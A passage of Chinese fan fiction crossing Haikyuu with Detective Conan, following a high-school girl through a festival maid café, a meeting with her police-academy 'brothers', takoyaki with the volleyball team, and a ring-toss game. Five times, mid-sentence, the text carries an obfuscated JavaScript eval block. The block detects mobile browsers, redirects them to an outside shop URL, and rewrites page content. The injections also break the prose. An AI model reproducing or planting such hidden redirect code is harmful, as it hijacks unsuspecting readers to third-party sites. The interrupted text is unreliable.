排球部的大家在处理完自己班级的事后姗姗来迟的时候我们已经快结束轮班了，人比最开始少了很多，空出来好几桌位置，勉强能让来凑热闹的一群人凑在一起坐下。 一群人围着灰羽打量了一会儿，不得不承认这家伙穿起裙子来竟然不难看，加上灰羽本人并不觉得羞耻，所有人便都迅速丧失了嘲笑的兴趣，转而齐刷刷看向我。 夜久前辈第一个竖起大拇指，“很好看哦小岛，很适合你。” 山本前辈跟着他一起竖起大拇指，“没错没错，很好看。” 我本来还在旁边暗戳戳地看热闹，突然收到夸赞不禁愣了一下，“啊……谢谢。” 低头提了提裙摆，再摸了摸衣服面料，我认可地连连点头，“我也觉得很好看，藤原同学订的衣服版型很不错、料子也很好，不知道还有没有其他款式。” 我认真地考虑了一下，“等会去找她问一下店铺吧。” 福永摸了摸下巴，也比了个大拇指，“小游超绝效率。” 我感觉这话有点耳熟，不禁下意识偏头看他一眼，兀自回想了一会儿。 ……啊，想起来了，是上次游乐园订票那次吧，福永前辈有说过这句话。 还有大拇指也是。 “这么说的话应该等买完了再说吧，福永前辈。”琢磨了两秒，我这么随口接了一句。 其他人都满脸问号地看过来，看起来完全没理解我在说什么，只有福永前辈有些惊讶地“欸？”了声，随即若有所思地想了一会儿，突然五指成拳一敲掌心，“有道理！那我先收回我的话，小游你买的时候记得跟我说一下。” “好。”我应下，“我到时候发群里的。” 福永前辈弯弯唇角，有一下没一下地点点头，“那就说好了。” 黑尾抱臂坐在原位，盯着我们俩看了一会儿，半晌，幽幽道：“你们两个在对什么没人听得懂的暗号呢，让我们说日文好吗？” 我忍不住笑了下，刚想说什么，就突然远远听到自己的名字。 “——绘酱！有人找你！” 没出口的话在喉咙里卡了两秒，我下意识噤声，没两秒突然慢半拍地意识到是在喊我，不禁有点茫然地转头望过去。 班长正扒着门框朝我招手，一扫一小时之前的精神恍惚、看起来神采奕奕的——毕竟我们班的营业额已经创下新高、没准能成为全校营业额最高的班级，说实话我其实觉得她笑不出来才是怪事来着。 ……但为什么还是这个称呼，好别扭。 在心里默默吐槽一句，我一边下意识琢磨了一下到底有谁会来找我，一边跟其他人打了个招呼，就朝着门口走去。 熟悉的身影突然映入眼帘，我往外走的脚步一顿，望着教室外笑意盈盈朝我挥手的人一瞬间懵住，随即下意识转头，将目光遥遥投向教室前端的挂钟。 九点五十二……欸，不是说十点十分我去校门口接人吗？ 稍微有点懵地自脑海中划过这么个念头，我下意识加快了步子，小跑两步钻出门，声音稍微有点惊讶，“研二哥？你怎么现在就来了？” 半长发的紫眸青年微微弯腰，视线探究般落在我脸上打量我两眼、不知道想了些什么，没过两秒便重新直起身，语气带笑，“怕迟到所以早来了半个小时、就早到了一会儿，给你发消息没回，我们就和小阵平一起先进来啦。” “喔，”我冒出个没什么意义的语气词，重点随即一歪，“那阵平哥呢？” 研二哥往不远处一指，“哝，那边，买东西呢。” 我顺着他指方向望过去，远远看见……四个朝我们这边看的人。 “……另外两个都是吗？” 望着一米八在里面还差不多排垫底的阵平哥和似乎在和他拌嘴的金发青年，又看看已经敏锐转头看过来的褐发青年，最后瞟一眼旁边那个看着一拳能打死五个我的男人，我收回目光沉默两秒，语气犹豫地问。 研二哥重点迅速一歪，“为什么是两个？” “……”我提醒他，“你在ins发过那个金发的前辈，那会儿他也在和阵平哥吵架。” 我从他的反问里窥见他默认的态度，再转头看了眼已经朝这边走过来的阵平哥和他们的朋友，伸手扯扯研二哥的胳膊，问：“都是警校同学？” 研二哥不知道为什么好像在憋笑，“嗯哼，那个跟小阵平吵架的人还是我们警校的第一哦，你们没准会很有话题。” 我没懂他在笑什么，有点莫名其妙地看他一眼，“……不会是第一的话题吧。” 研二哥打了个响指，“bingo~” “……警校生和高中生到底能有什么话题啊。”我吐槽一句，随即偏头望向已经走到跟前的松田，打了声招呼，“阵平哥。” 随即我微微顿了两秒，视线偏移一瞬，划过他身后不认识的另外三个青年（其中一个比较眼熟），有点紧张地抿了抿唇，道：“……前辈们好，我叫小岛游绘，直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309405|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接跟哥哥一起叫我小绘就好。” “欸？”褐发蓝瞳的青年不知为何有些惊讶般地看了我一眼，随即微微弯了弯唇角，温声跟我打招呼，“你好呀，小绘。我叫诸伏景光。” 那个看起来能一拳打死五个我的男人感觉意外地性格很好，“我叫伊达航，你好。” “你好啊，我叫降谷零。”金发的、皮肤颜色偏深看起来有点混血感（不是灰羽那种混血感）的青年朝我露出一个平常的笑来，看起来也挺好相处——所以跟阵平哥拌嘴只是两个人相性不合吗？像夜久前辈和黑尾前辈一样。 “嗯。”阵平哥等我逐一打过招呼后才懒懒地开口应了声，顺手将手里另外一份章鱼烧扔给研二哥，随即把自己手里那份往我面前递了递，“吃不吃？” 我还在悄悄打量那三位朋友的样子，闻言慢半拍“啊”了声，低头看了眼，随即摇头，“早上吃过了。” 松田于是从善如流地收回手，自己拿着签子先叉了一颗塞进嘴里，随即状似无意般随口问：“怎么突然想穿这身？” “没有突然想穿，这个是我们咖啡厅的工作服，所有人都得穿。”我一边说着，一边还想就刚刚人流量处于巅峰时的盛状跟他们吐槽点什么，就突然看到不远处一路飞奔着冲来好几个男生。 啊，又来一批看热闹的……都数不清到底有几波了。 伸手拽着阵平哥往旁边走了两步、又招呼了一下他的那位不知道为什么似乎在不动声色打量我的金发朋友，免得我们几个人挡到门口的路。 看着那几个男生一路不带减速地冲进咖啡厅，我面色平静地在他们进门时道了声“欢迎光临”，便看着他们随便找了个位置坐下，开始目标明确地找穿着女仆装的服务生。 短短一个小时、我竟然就可以习以为常地接受这一切了——习惯真的是一件很可怕的事情。 这么想着，我一边收回目光，一边补上刚刚没来得及说出口的吐槽，“——不过正经‘女仆’完全没派上用场就是了……你们怎么了？” 突然慢半怕地意识到现场似乎稍微有点严肃起来了的氛围，我不自觉放轻了声音，有点茫然地抬眼看过去，下意识问。 但气氛在我话落时诡异地一松，研二哥神情还带着没来得及褪去的严肃、便转而重新空白了起来，他伸手搭上我的肩膀，语气微妙地问我，“小绘，‘正经女仆’完全没派上用场……是什么意思？” 我：“……” 我：“？” 56. 第五十六个小岛 听着我斟酌着、犹豫着组织措辞、长话短说地讲完我们咖啡厅里男性客人含量超标的原因，面前几个人越听越心情微妙，到了最后，已经因为这荒诞又离谱的故事发展开始情不自禁地想笑了。 “……总之。”小心瞥了两个熟人明显缓和下来的神情，我稍稍放松了一点，最后斟酌着说了个定论，“……我们咖啡厅的营业额目前为止，有九成都是这么来的、来着。” “……也算是女仆装的另外一个吸引客人的方式了。”研二哥语气微妙地这么道。 我沉默两秒，也同样语气复杂地开口，“……算吧。” “行了，别堵门口，有人来了。”松田转头看了眼人流量逐渐大起来的走廊，再回头问我，“你现在是不是可以走了？过十点了。” 一边说着，他一边将手机翻了个面给我看了眼时间。 十点零四……欸，怎么过了这么久。 我下意识回头瞧了眼，一眼望见已经收拾好东西准备出来的排球部的其他人，再一转眼，从人群中看见身高多少有些突兀的灰羽头上的猫耳喀秋莎。 ……现在就给他们介绍排球部的其他人吗？ 脑海中一瞬间浮起这样的疑问，我下意识在心里犹豫着琢磨起来。 唔……如果只有两个哥哥的话倒也不是不可以，但除此之外还有其他三个人……不太好吧？ 对他们来说简单认识一下朋友的妹妹就已经足够了，再跟另外一群完全没有关系的高中生认识就完全没有必要了…… 可以给阵平哥和研二哥介绍是因为对方是和我有关系的前辈，但跟他们的朋友介绍我所认识的人……会觉得困扰的吧。 思绪一转而过，我有点心不在焉地收回目光，应了一声，“可以直接走的，我跟班长说一下就好。” 顿了顿，我又犹豫了一会儿，视线无意识朝在场另外三位不认识的人身上偏移，“不过……我们等会一起走吗？”为什么听起来有种要等我的感觉…… 研二哥笑眯眯地朝我晃了晃手指，“不是哦，我们只是想先过来看看你而已，小绘去找朋友玩就好了，不用顾忌我们。” 他随即顿了顿，抬眼往教室里望去，视线轻飘飘划过其中看见他们便停在原地的排球部的一众人，随即重新垂下眼，笑着伸手搓搓我的头发，“毕竟警校生和高中生的确会没什么共同话题嘛，研二哥也没法一直维持高中生的心理年龄呢。” 注意到他的视线，我默了两秒，回头望了眼，转瞬便意识到他指的“朋友”是谁。 下意思抬起眼，我望见他含着些微笑意、又从细枝末节处透出些鼓励的眼睛，不禁呼吸微微顿住两秒。 “……倒也别在这种时候调侃我啊。”我有点无奈地轻声嘟囔一句，随即不自觉抿了抿唇，安静两秒，下意识抬眼，视线划过其他几个自觉安静下来看着我们交流的人，又顿住。 “我知道了。”我这么说，“……你们也玩得开心，哥哥。” # “所以，”望着那孩子走远的背影，诸伏沉思两秒，转头看向旁边正跟幼驯染感慨什么的同期，问，“把我们叫过来就只是为了让你妹妹看一眼吗，萩原？”莫名有种奇怪的即视感……唔，小学生专门带旁边见家长？放在他们身上未免有点太奇怪了吧。 索性他询问的对象毫不犹豫地否认了。 “不，”萩原回道，“叫你们来只是想让你们可以重新体验一下自己逝去的青春而已。” ……虽然很明显只是随口胡诌一句，但也不能说他没有毫不犹豫地否定，对吧。 他道完又沉默两秒，随即重新恢复原本那副感慨的样子，“虽然收到消息的时候就有所预料，但过来真的发现小绘没那么怕生、甚至交到朋友了还是会有点感动啊。” 松田的脸色看起来也莫名地同样带着点复杂的欣慰感，但他听完萩原的话还是没忍住，啧了声，伸手给了他一下，“说话正常点，不要莫名其妙地cos欣慰且慈爱的妈妈好吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309406|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 萩原安静两秒，半晌，沉思过后还是坚守己见，“小绘可相当于是我一手带出来的孩子，我说这话完全没有问题的嘛。” “问题大得没边了好吗。”松田吐槽。 “为什么说那孩子是你一手带出来的，萩原？”伊达突然感觉有哪里不对，有点疑惑地转头看向他，“不是说她是松田领居家的妹妹？” 被他注视着的萩原猛地一顿，他默了两秒，随即语焉不详地解释了一句，“啊、这个……小绘家里不怎么管她来着，加上年纪还小，很多时候都没法自己处理好事情，需要别人帮忙。” “她……不常出门，又比较认生，不敢和人交流，也就能接受年纪没差太多的小阵平、后来再加上我……总之，我和小阵平小小年纪就突然肩负了一个小孩的各种方面的教育来着。” 他只字不提那孩子的家长在其中到底肩负了什么肩负，只用一句“家里不怎么管她”一笔带过，但现场倒也不会真的有人没读懂他的言下之意——能让萩原用这种冷淡态度表述的，那孩子的家长大抵是真正意义上的没管过吧……再严重一点，说不定是那种连家都不回的烂人啊。 松田从萩原说一半开始就情不自禁地皱起眉，看起来凶神恶煞地能当场手撕幼驯染话中的家长，待他话落，便冷冷地嗤了声。 ……看来真的是实打实的烂人呢。 “不过，”诸伏摸了摸下巴，回想了一下刚刚见到的那孩子，语气也莫名带上两分欣慰——可能是萩原口中的妹妹不管怎么说都得沾上一点孤僻的标签吧，“那孩子看上去只是有些内向呢。” “是啊。”萩原顿了顿，又回头，遥遥望了眼已经人去楼空的一年三组的教室，“看来真的交到了关系很好的朋友。” “嗯……有种家里孩子突然在我不知道的地方成长了的惊喜感。”他顿了两秒，突然语气正经地补了一句。 “……”松田还是那句话，“不要莫名其妙代入妈妈的角色好吗？” 57. 第五十七个小岛 我对研二哥和阵平哥他们五个人的讨论一无所知，跟他们分开后就回了更衣室，把身上的长裙换成方便行动的、专门从家里穿来的衣服。 现在没有夏天合宿时那么热，天气已经入秋，气温多少凉了些下来，我便穿了件比较薄的深蓝色牛仔裤，再套了件贴身的纯棉长袖，最后套了件黑色的防晒衣来防风（虽然才是秋天，但风吹来的时候多少会有些凉来着）。 把裙子和发饰一起还回去，我便踏出教学楼，四处张望一下，看见不远处正在等我的芝山、福永以及已经换好衣服的灰羽。 欸……竟然还有研磨前辈吗？ “小游！这边！”眼尖地看到我的身影，灰羽顿时伸长了手，一边拔高音量朝我大喊，一边大幅度地挥了挥手，生怕我看不着他似的。 但我只觉得被他吸引过来落到我身上的目光不管怎么说都有些如芒在背。 无意识加快了步子，我小跑两步冲过去，一把将他高高举起的手拽下来，语气难掩惊悚与心有余悸，“你倒是别喊这么大声……好多人都看过来了！” “欸、欸？”灰羽被我一拉拉地弯下腰，闻言有点讶异地微微睁大眼，“我以为小游你已经习惯了来着……对不起喔，我下次会注意的！” ……好干脆，让我莫名其妙有种愧疚的感觉……明明不是什么大事，灰羽也不是故意的来着。 下意识的，我有点慌乱地松开手，忍不住四处看了眼，试图用在场的其他的什么东西分散灰羽的注意力，“……没事的，也不是什么大问题。” “那就好！”灰羽对我的心理反应毫无所觉，闻言很丝滑地揭过这个话题，转而提起另外一件事，“对了，小游，刚刚教室外面的那些人是你哥哥吗？” 音驹的大家大多家里都有些弟弟妹妹，要么就是独生子，是家里幺子的也就黑尾前辈和灰羽。 ……但黑尾前辈看起来跟幺子一点关系也搭不上，灰羽一直都有点为自己是全排球部“唯一”的幺子感到一点微妙的别扭来着。 两秒钟猜到灰羽为什么会用这样莫名有点期待的眼神看向我，我不禁微妙地沉默两秒，“……其中有一个是邻居家的哥哥，还有一个是他的幼驯染，剩下三个是他们的警校同期、来着。” 带着点微妙的抱歉，我开口打破灰羽的幻想，“……我没有兄弟姐妹。” 这么说着，我平静地抬眼，冲着做出了一副夸张的心痛表情的灰羽露出一个有点抱歉的笑。 ……虽然他本人看起来感觉又被我创到了一下就是了。 “那个，”研磨前辈捏着手机低头看着屏幕上方的消息，语气平淡地提醒我们，“犬冈说我们再不去的话，到的时候可能会需要排队。” “……我不想排队。”他面色灰暗地道，“人很多、很热、而且很挤。” “那现在就走好了，”福永前辈伸手搭上他的肩膀，一用力便将研磨前辈带着往旁走了一段距离，“直接去吃桥本同学的章鱼烧吧。” “欸欸？”芝山四处看了一眼，“我们不等黑尾前辈了吗？” ……竟然还有黑尾前辈吗？我们的队伍什么时候变得这么大了。 话说……我记得夜久前辈和黑尾前辈是一个班的吧，他不在吗？ 这么想着，顿了两秒，我下意识四处看了一圈，试图寻找一个不一定会出现在这里的人。 “别管小黑，让他自己去就好了，他又不是不知道路。”研磨前辈冷酷无情地做出了抛弃幼驯染的决定，他顿了两秒，又不自觉瞥了我一眼，语气平平，“夜久前辈要值班所以先走了，下午开摊位前会准时来的。” 我迎着他的视线有点懵地眨眨眼，有点惊讶地“欸？”了声。 怎么猜到的？我明明什么都没说吧。 研磨看了我两秒，半晌，有点无言地道：“……因为真的很明显啊，小游。” “倒是不要因为常看你表情的人是关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309407|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很好的前辈就放弃伪装……明明也不是很懒惰的人来着。”他淡淡地吐槽我。 “……哦。”我不知为何有点犹豫地纠结了两秒，才慢半拍地应了一声。 研磨前辈说的……意外地完全对了。 虽然我知道自己的表情在熟悉的人面前一直都没什么掩饰、基本是一眼就能看透的那种，但毕竟的确都是熟人…… 至于看我表情看得最多的……研磨前辈说的应该是夜久前辈吧，顶多再加一个习惯性观察别人的他自己（不过据研磨前辈自己所说，他倒也不是特意观察……只是有些东西直白而没有掩饰到看一眼就懂了（他这句的本意其实只是在内涵灰羽……但我觉得我对号入座也没什么问题）。 我的确一直都觉得没什么需要在他们面前隐藏什么的必要来着，虽然可能会被看透、或者其他什么，但仔细想一想，我感觉我其实并不会因此感到不适或者生气之类的……吧？ 虽然没有真的经历过这样的事情，但试想一下那样的情况感觉的确是这样。 不过毕竟不是真的经历过的事情，其实也不太好说……不过研磨前辈都这么说了，应该还是有改变的必要的吧？ 音驹大脑的形象极其深刻且深入人心，我兀自琢磨两秒，最终还是将研磨前辈的建议列入待办。 ……虽然已经不是第一次列入待办了，只是之前一直没有实施过。 依旧觉得是夜久前辈就没关系地在拖……到底什么时候才能把拖延症治好呢。 我有点苦恼地这么在心里想着。 研磨完全不想知道我在想什么，他面无表情地移开视线，不由自主地抬头看了看天，又重新低下头，盯着自己脚下的砖石路发了会儿呆。 嗯……感觉也不像是迟钝的类型啊，明明对情绪的感知一直很敏感，偏偏就是完全没法往正确答案上想哪怕一下。 ……某种程度上也挺合适的。 研磨由衷地这么想。 58. 第五十八个小岛 最后还是等黑尾前辈到了才走的。 嗯……这不是因为研磨前辈突然对把幼驯染单独留在这里的行为感到良心难安所以留下来等黑尾前辈，只是我们聊了两句之后齐齐在原地停了一会儿、不知道在想些什么的间隙，黑尾很巧地回来了。 研磨远远看着他的身影沉默两秒，说：“正好，小黑来了，我们走吧。” 黑尾前辈恰好走来听见这句话，不禁看了研磨前辈一眼，语气有点狐疑，“什么叫正好我来了？你们不会本来没打算等我吧？” 研磨前辈闻言默了两秒，假装没听见地、视线飘忽着移开目光，毫不掩饰目的地转移话题，“犬冈说再不去再不去了就要排队了，我们快走吧。” 说着，他原地转了个方向，朝着犬冈班级的摊位的方向毫不犹豫地抬脚就走。 黑尾稍微有点无语，“倒是稍微遮掩一下啊，转移话题方式好明显。” 但他倒也没多在意，吐槽一句便随意将话题揭过，转头招呼着我们一起走，“走吧走吧，犬冈他们摊位应该还蛮受欢迎的，晚去的话没准真要排很久呢，文化祭的人流量可是很大的。” 灰羽第一个响应，“好——！我们快走吧！” 说着，他一个健步追上刚走出两步的研磨前辈，一边还往回望过来，试着用眼神催促我们赶快一起走。 我看他两眼，忍不住有点忍俊不禁地跟上，一边转头，小声地跟和我并肩一起走的芝山感慨，“……怪不得灰羽能和乌野那的日向君玩得这么好，两个人某种意义上很像啊。” 芝山沉思两秒，不禁赞同，“都很有活力呢，感觉像不会累那样，总莫名有种刺眼的感觉……” “说到刺眼不管怎么说都得加上木兔前辈吧……”想到那位相处时间满打满算只有十天的枭谷的主将，我不自觉有点心情微妙地先这么补了一句，随即吐槽，“不过灰羽在跟夜久前辈练接一传的训练的时候看起来就累得要死掉了，结果被放走之后马上就跑去跟日向君打3v3了。” 回想了一会儿当时夜久前辈发现时无语的脸色，我不自觉闷声笑了下，“夜久前辈要气死了。” 芝山跟着我想了想，也忍不住笑了下，“列夫每次遇到喜欢的训练就能不知道从哪再挤出点体力出来。” “明明本来看起来已经要累到当场倒在地上了，结果转头就能爬起来去打比赛，完——全不知道是怎么做到的。”他语气感慨。 我不自觉沉默两秒，“其实也很厉害。”……我就完全做不到。 之前还有跟阵平哥练拳击的时候每次练到最后都感觉一根手指头都要抬不起来了，爬起来都困难，更别说再去打一场比赛……虽然只是3v3，但还是会死掉的吧。 排球的3v3场地又不会变小，每个人负责的东西会更多、范围也会更大，接扣传全都要负责，虽然时间减少了但劳累程度完全没变啊……更不要说还是训练了一整天的情况下。 一直很佩服训练之外还会加训的大家……我就完全做不到，阵平哥研二哥不问我就懒得动了，稍微跑两步倒是没什么问题，其他更多的训练……还是算了吧。 ……运动社团里也不是所有人都喜欢且擅长运动的，还有经理呢。 # 现在大概是上午十点半出头，还没到饭点，但没吃早饭或没怎么吃饱就赶来学校值班的同学现在差不多都下班了，纷纷四散开来聚集在各种小吃摊周围准备买点什么垫垫肚子，围绕在摊位旁边的人不少。 其中，犬冈他们班级的摊位人不算特别多，但也称不上少，前头有三四个人排队，我们一围过来就显得人更多了。 犬冈正在摊位前忙忙碌碌地做章鱼烧，还像模像样地穿上了白色的厨师服、戴上了厨师帽，额头被灼热的烤炉熏得沁出层汗。 看起来好辛苦的样子……烤炉加热起来散发的热气很不饶人，就连冬天靠得近些也能冒出点汗来，更别说现在刚刚入秋，还没凉快到那个地步。 嗯……不过犬冈看起来还挺乐在其中的就是了。 再看两眼同期没被口罩遮挡的、隐隐发亮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309408|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛，我这么想着，便也没去打扰他，只默默跟在队伍中间排队，偶尔跟其他前辈聊两句话，视线却不知不觉间无意识盯住正在制作的章鱼烧。 先倒一半面糊，然后放入章鱼块和其他配菜，再一边翻面一边倒入剩下的面糊，使其变成球形，就差不多大功告成了。 装进纸盒，挤上喜欢的酱，最后再放上木鱼花，就算是一份可以售卖的章鱼烧了。 之前在推特上有刷到过视频，当时就有点想吃，但家附近一直没有卖章鱼烧的店、我也不想出门去太远的地方，就一直耽搁到现在，没想到最后竟然能在文化祭上吃到的。 还蛮幸运的。这么想着，我不禁又往前看了眼。 章鱼烧做得不算慢，加上除了犬冈之外还有一个在制作章鱼烧的人（不认识，但应该就是犬冈说的桥本同学吧），我们只等了六七分钟就好了。 犬冈是在将章鱼烧递给前两个客人时看到我们的，但当时不好寒暄，便按捺住打招呼的心，等我们走进了才高高兴兴地朝我打了个招呼，随即感慨，“来了好多人啊。” 闻言，我还在旁边深感认可地默默点头，旁边的黑尾前辈便已经率先开口了。 “人多给你们多带点营业额来不是更好。”他一边顺着犬冈的话接了句，一边向外递钱，“五份章鱼烧，一起付。” ——是的、没说错，我们虽然是六个人，但只买了五份来着。 我和研磨前辈都不太饿，就彼此商量了一下，一拍即合决定两个人分食同一份章鱼烧，还想吃的话再去买就好了，不管怎么样总比吃不完浪费强。 犬冈态度很平常地接过钱开始找零……不过我觉得他不是猜到了我和研磨前辈达成了交易（？），只是单纯没数具体有几个人来着。 不过这倒也不重要就是了，跳过跳过。 等待章鱼烧的时间中，我无聊地盯着招牌看了会儿，突然看着“章鱼烧”三个字想起了什么。 话说……刚刚阵平哥一见面问我要不要吃的东西是不是就是章鱼烧来着？ 59. 第五十九个小岛 猛然想起自己刚刚拒绝过哥哥投喂的章鱼烧，我看着被我捧在手里的、还冒着热气的同一类小吃，莫名心虚了两秒，转眼便抛之脑后，拿着签子叉了一颗起来，一边慢腾腾地吹着气试图让它快些凉下来，一边将盒子递给旁边的研磨前辈。 他将盒子接过去，拿起另外多拿的两根签子叉起其中一颗，盯着被叉到半空但还冒着热气、看起来就很烫的球体沉默了一会儿，又重新放下，转头看向我，道：“小游，你先吃吧，我等它稍微凉点再说，把我的那一半剩下就好了。” “欸？好哦。”我应了声，随即先试探性地用章鱼烧碰了碰嘴唇，确定没那么烫之后才放进嘴里。 嚼嚼。 嗯……味道的确还不错，外皮是脆的，但里面很软和，章鱼块吃起来很新鲜……别的说不出来了，但总之挺好吃的。 一份四个，我慢吞吞把我的最后一颗章鱼烧叉走，便将装着另外两颗章鱼烧的盒子递给研磨前辈。 “喔……谢谢了，小游。”他伸手接过来，又朝我道了声谢。 我没来得及回答，便被那边提高了音量出声的黑尾前辈吸引了注意，下意识转头望过去。 “嗯……现在才十一点，离我们部摊位开始还有一个多小时。我们要不要一起逛逛小吃街？就当吃午饭。”黑尾前辈低头看着时间，原地思考两秒，便开口来征求我们的意见。 研磨前辈斟酌了两秒，率先开口，“我只要不回班级都可以……但我还是更想去排球部活动室打游戏就是了。” 我下意识思考待会要去哪的思维一顿：……很研磨前辈的回答啊。 另一边，灰羽大大咧咧搭上芝山的肩膀，“我想去逛逛其他摊子！你要和我一起吗芝山？” “欸？我吗？”芝山闻言微微愣了一下，随即认真地思考两秒，点点头，“可以啊，我也想四处逛逛来着，难得的文化祭呢。” 旁边，福永前辈慢慢悠悠地举起手，“我也是哦，文化祭可是一年才有一次呢。” 黑尾前辈摸着下巴一一应声，最后望向唯一没发言的我，“小游呢？你待会什么安排？” 欸、欸？我吗？ 我的话……我想去看看夜久前辈他们班的活动来着。 一路逛过去、路上有什么感兴趣的就玩一下，到的时候应该也差不多要到十二点了，再看看夜久前辈他们班级的活动，有兴趣的话试一试，没兴趣就等等夜久前辈，然后一起去排球部的活动室准备摊位……差不多就是这样。 不过……这么主观性重的计划应该不太好跟大家一起、的吧？ 这么想着，我微微摇了摇头，实话实说地开口，“准备在学校里随便逛逛、然后差不多到时间了就去找夜久前辈……这样。” 说着，我又莫名犹豫起来，“话说……黑尾前辈，你们班的活动是什么啊？” 如果是那种需要互动的、类似“你比划我猜”的活动的话……那我就不进门了，稍微在外面等一下就好。 那种活动起码需要两个人参加吧，学园祭一个人逛的本来就少、我自己去指不定连一起玩的搭档都没有……还是不要进去自讨其辱了。 不过是不是得给夜久前辈提前发条消息什么的，万一他走的时候我没看见刚好错过了怎么办……那未免也有些太倒霉了吧，应该不至于？ 我还在胡思乱想着，却突然有只挥在眼前的手毫不留情地打断我的思绪。 “喂喂？回神了？”黑尾有点无语地把我唤回神，随即语气复杂地、有点无语地吐槽，“我该开心于你还记得我是哪个班级吗？” ……为什么要为这个开心？我一直记得的啊，黑尾前辈和夜久前辈是同一个班的，都是三年五组。 我这么有些茫然地看着黑尾前辈。 他倒也没指望我这个一向在某些地方迟钝到令人诧异的后辈能给他什么不偏离他本意的回答，于是完全没有等我出声的意思，只稍微停顿两秒，便继续开口，“我们班的活动名字很怪来着，不过大概就是那种、类似于‘你画我猜’的活动啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309409|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，应该有刷到过这样的游戏吧？” “欸？怎么突然这副表情？”他顿了顿，突然感觉不对，“有什么问题吗？小游？” 我狠狠地深吸一口气，憋着使劲摇了摇头，“……没有。” 只是稍微、稍微有点为自己不知道什么时候觉醒的乌鸦嘴属性感到了一点点绝望、来着。 ……未免也太背了吧。 # 总之，最后一行六个人兵分三路，我和研磨前辈自己去自己想去的地方，黑尾前辈、福永前辈、灰羽和芝山则一起顺着小吃街逛逛，大家都有很好很不错的安排。 没有跟其他人走一个方向的打算，我于是避开往体育馆和小吃街的路，挑了条不至于跟三年级五组的教学楼背道而驰的路，就沿着人少的地方慢悠悠地逛起来。 摊位种类还蛮多的，虽然运动社团的摊位还没正式开始，但也有其他的一些需要点运动的摊位，比如套圈。 各种各样的东西被摆出来，从近到远越来大，最开始是精品店常有的皮筋发绳发带戒指之类的东西，往后逐渐变成挂坠钥匙链玩偶公仔模型之类的，定价的话是三百日元十个圈，可以随便套……这样。 围观了一会儿别人套圈结果最后败兴而归，我盯着大概在中间位置的一个毛绒绒的长条兔子玩偶，开始默默翻自己的钱包。 唔……自从上次雨天结果钱不够导致没钱买伞差点淋回家之后，我就没有再出现过没带够钱的情况。 ……考虑到今天是文化祭可能需要花钱，我还多带了点钱来着。 大概带了两万最大面额的整钱（其实不占地方来着，是两张一万面值的现金），然后零钱带了一万多一点（这个就什么面值都有了）……总之不管怎么样都应该够的、吧。 ……因为、我觉得，我很难靠扔圈拿到从外往里数第五排、起码离我有两米远的东西来着。 这么想着，我忧心忡忡地先从钱包里抽出了一千日元。 不管怎么样……先来三十个圈好了。 60. 第六十个小岛 五十个圈投下去还是没拿到。 抬头望了望那个玩偶附近一片布满了各种颜色彩圈的空地，我凝视了那只兔子一会儿，感觉它一成不变的微笑表情也莫名有了点在挑衅我的意味。 看着手上最后一个圈和那只兔子的耳朵擦肩而过，我转头，望向旁边也一脸震撼地看着我的摊主，沉默地又递出三百日元，“……再来十个圈。” 摊主神情复杂地收下、再将摊位上最后十个圈递给我，语气复杂，“……我们定下那条‘投完摊位上所有圈就可以放弃投到所有的东西自选一个奖品’的规则的时候其实没想到会有人、额、这么触发的、” 六十个圈，一千八百日元。 怎么还真有人愿意花一千八百日元投六十个圈还完全没投到自己想要的东西的啊、还只是中间位置的。 